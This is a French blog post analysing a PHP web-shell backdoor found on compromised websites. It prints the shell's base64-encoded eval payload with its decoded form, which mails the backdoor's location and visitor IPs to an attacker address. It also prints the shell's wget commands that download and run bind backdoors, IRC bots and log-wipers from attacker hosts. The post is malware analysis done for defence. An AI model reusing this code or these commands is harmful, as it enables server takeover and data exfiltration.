Et encore un étrange PHP

Dans le post précédent, on a vu comment se faire embrigader son site web dans une poignée de botnet sous irc et ce qu’il était possible de faire avec ces botnets. Continuons l’analyse de des ces scripts en désossant «l’étrange image» utilisée en tant qu’«Injector» alias aka.jpg. Ce fichier est lui aussi un script PHP que vous pouvez retrouver chez malware.lu sous le sha 9ad4d81bd0d4d8f51031837f75902257f1d8ca1f [MODE PROMO ON] Malware.lu, c’est du malware mais c’est pas grave [MODE PROMO OFF].

C’est aussi une belle bête, 3300 lignes pour 173K de Php. D’après la bannière on est en présence d’une bonne vieille backdoor ;

/*******************************************/
/* [ * ] PHP Shell by akas06 [ * ]         */
/* Re-coded and modified By akas06         */
/* zeustrojan@linuxmail.org                */
/*******************************************/

À la première lecture de ce genre de script, on cherche à trouver la backdoor de la backdoor.. Et c’est inexorable, cela ne manque pas.. En plein milieu de la phase d’initialisation du script on retrouve un étrange :

$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKC
AkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUls
iUkVNT1RyQUREUiJdOyAkd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOyAkaW5qID0gJF9TRVJW
RVJbIlJFUVVFU1RfVVJJIl07ICR0YXJnZXQgPSByYXd1cmxkZWNvZGUoJHdlYi4kaW5qKTsgJGJvZ
HkgPSAiQm9zcywgdGhlcmUgd2FzIGFuIGluamVjdGVkIHRhcmdldCBvbiAkdGFyZ2V0IGJ5ICR2aX
NpdG9yIjsgQG1haWwoInNlbGxlci5ob3N0aW5nMkBnbWFpbC5jb20iLCJTaGVsbEJvcyBodHRwOi8
vJHRhcmdldCBieSAkdmlzaXRvciIsICIkYm9keSIpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBz
ZXRjb29raWUoInZpc2l0cyIsJHZpc2l0Y291bnQpOw=="; eval(base64_decode($shell_data));

Evidemment si on décode la string encodée base64 on tombe sur :

$visitcount = $HTTP_COOKIE_VARS["visits"]; 
if( $visitcount == "") {
 $visitcount = 0; 
 $visitor = $_SERVER["REMOTrADDR"]; 
 $web = $_SERVER["HTTP_HOST"]; 
 $inj = $_SERVER["REQUEST_URI"]; 
 $target = rawurldecode($web.$inj); 
 $body = "Boss, there was an injected target on $target by $visitor"; 
 @mail("seller.hosting2@gmail.com","ShellBos http://$target by $visitor", "$body"); 
} else { 
 $visitcount; 
} 
setcookie("visits",$visitcount);

Encore une fois tout en humilité «hein Boss» ;) Et donc voila, dès la première visite de ce script, celui-ci va “baver” dans la boite mail “seller.hosting2@gmail.com” et il indiquera l’emplacement de la backdoor et l’ip du client qui s’est connecté. Cela sera le cas pour chaque nouveau client. Ça c’est probablement pour calmer les gamins qui découvrent ce script et qui tentent de jouer avec le feu.

Une fois cette ligne commentée on peut continuer à regarder ce que fait cette backdoor. La première chose qui est fun, c’est que cette backdoor hoste les images sa très gothique  skin tout simplement sur un site wordpress. C’est assez cocasse étant donné que ce genre de backdoor viennent généralement de poncer justement… des sites wordpress. Cela nous apprendre deux choses, primo ces petits malins sont indonésiens et secundo que cela dure depuis septembre (Et oui 4 mois déjà).

</head> 
    <BODY ><center> 
    <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 cellPadding=15 width= 95%  border=1 > 
    <tr><th width="100%" height="15" nowrap valign="top" colspan="2">  
    <a href=""><img src="http://malengz.files.wordpress.com/2012/09/banner.png"></a>  
    <br><br>
    <a href=""><img src="http://malengz.files.wordpress.com/2012/09/logo.png"></a>  
    <br><br>

Evidemment le site malengz.files.wordpress.com de base est hors de tous soupçons.

malengz website

malengz website

Mais rien que la bannière cachée au fond du site semble prometteuse. Tous les mots clef y sont… Petit Quizz.. Toi aussi trouve l’intrus, lequel de ces mots n’est pas une attaque ?

Bullet Proof Security

Bullet Proof Security

Vite, vite lisons le code source. Première chose à noter, c’est qu’à part les images sur le site wordpress, toute une autre série de scripts et d’archives sera téléchargé du site www.inforealstate.pl

thanat0s@server:$ cat akas.jpg.malv | grep mainurl
$sh_mainurl = "http://www.inforealestate.pl//logs/data/";
$accessdeniedmess = "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied";
$c99sh_updateurl = $sh_mainurl."fx29sh_update.php";
$c99sh_sourcesurl = $sh_mainurl."fx29sh_source.txt";
    array("wget & extract psyBNC","wget ".$sh_mainurl."psy.tgz;tar -zxvf psy.tgz"),
    array("wget & extract EggDrop","wget ".$sh_mainurl."GoaCreW.jpg;perl GoaCreW.jpg"),
    array("wget RatHole 1.2 (Linux & BSD)","wget ".$sh_mainurl."rathole-1.2.tar.gz"),
    array("wget & run BindDoor","wget ".$sh_mainurl."toolz/bind.tar.gz;tar -zxvf bind.tar.gz;./4877"),
  exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
    <a href="#" onclick="set_arg('<?php echo $sh_mainurl."page.jpg"; ?>','configs.php')">[Fx29Sh]</a>
    <a href="#" onclick="set_arg('<?php echo $sh_mainurl."psy.tgz"; ?>','psy.tgz')">[psyBNC]</a>
    <a href="#" onclick="set_arg('<?php echo $sh_mainurl."hzegg.tar.gz"; ?>','hzegg.tar.gz')">[Eggdrop]</a>

Malheureusement pour moi, trop tard, il semblerait que le site polonais ait déjà nettoyé ces saloperies. Impossible donc de mettre la main sur ce qui semble être un joli condensé d’exploit web et de rootkit de tous poils. On se notera les noms pour tenter un Dork pour les trouver plus tard.

Une autre poigné de scripts d’exploits semble directement pris depuis des sites comme milw0rm, packetstorm, securityfocus etc… On est effectivement en face d’une backdoor avec option “injecteur de compétition”.

thanat0s@server:$ cat localaka.php | grep http: 
#$sh_mainurl = "http://www.inforealestate.pl//logs/data/";
$sh_mainurl = "http://127.0.0.1/"; 
'<html><head><title>"??(-MaLeNg-)??"</title><link REL="SHORTCUT ICON" HREF="http://malengz.files.wordpress.com/2012/09/radar.gif"> 
    <a href=""><img src="http://malengz.files.wordpress.com/2012/09/banner.png"></a>  
    <a href=""><img src="http://malengz.files.wordpress.com/2012/09/logo.png"></a>  
//$c99sh_updateurl = "http://localhost/toolz/fx29sh_update.php";
//$c99sh_sourcesurl = "http://localhost/toolz/fx29sh_source.txt";
$enumerate = "http://".$hostname_x."/".$itshome."";
  $millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
  $millink ="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
    foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
    array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
    array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
    array("Md5-Lookup","http://www.md5decrypter.com/"),
    array("Word-Lists","http://darkc0de.com/wordlists/"),
     "<td width=50%><p>Server IP : <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a> - ".
     "Your IP : <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a><br>";
      if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";}
<td><form method="post" action="http://google.com/search">
<div class=barheader2 colspan=2><font color=#00EE00><center> <img src="http://malengz.files.wordpress.com/2012/09/diamond.gif"></center>.::[ Powered By TeRoRiZ #MaLeNg CoMMuNiTy ]::.</font></div>

Maintenant qu’il semble sanitisé et controlé, lançons le directement dans notre sandbox et laissons enfin la bête se présenter :

Akas 06 BackDoor

Et voila donc à quoi ressemble une énième backdoor de type “C00L 8L4ck SkinZZZzzz, I’m a H4cK3r Man !!” Cela permet de rapidement prendre en main le serveur, même sans compétences particulières.

Backdoor easy functions

On peut dès lors sur ce pauvre serveur, s’y balader, ouvir un shellcode, installer un rootkit, jouer avec la database, lancer du code php, y pousser des fichiers, trouver des répertoires writables, etc… etc.. C’est une backdoor classique qui ne diffère pas beaucoup de celles que j’ai déjà vue. Cependant celle-la a un petit plus ! Elle dispose d’une boite mail pour le support (On laissera Mme Merkel seule juge pour apprécier l’humour indonésien.)

Support "Deutsch Qualität" Allez à bientôt pour le dernier script de ce pack. Allons prévenir Google et WordPress, là cela a plus de chances de fonctionner :)

 

 

 

This entry was posted in Hacking, WebSecurity and tagged , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *

AlphaOmega Captcha Classica  –  Enter Security Code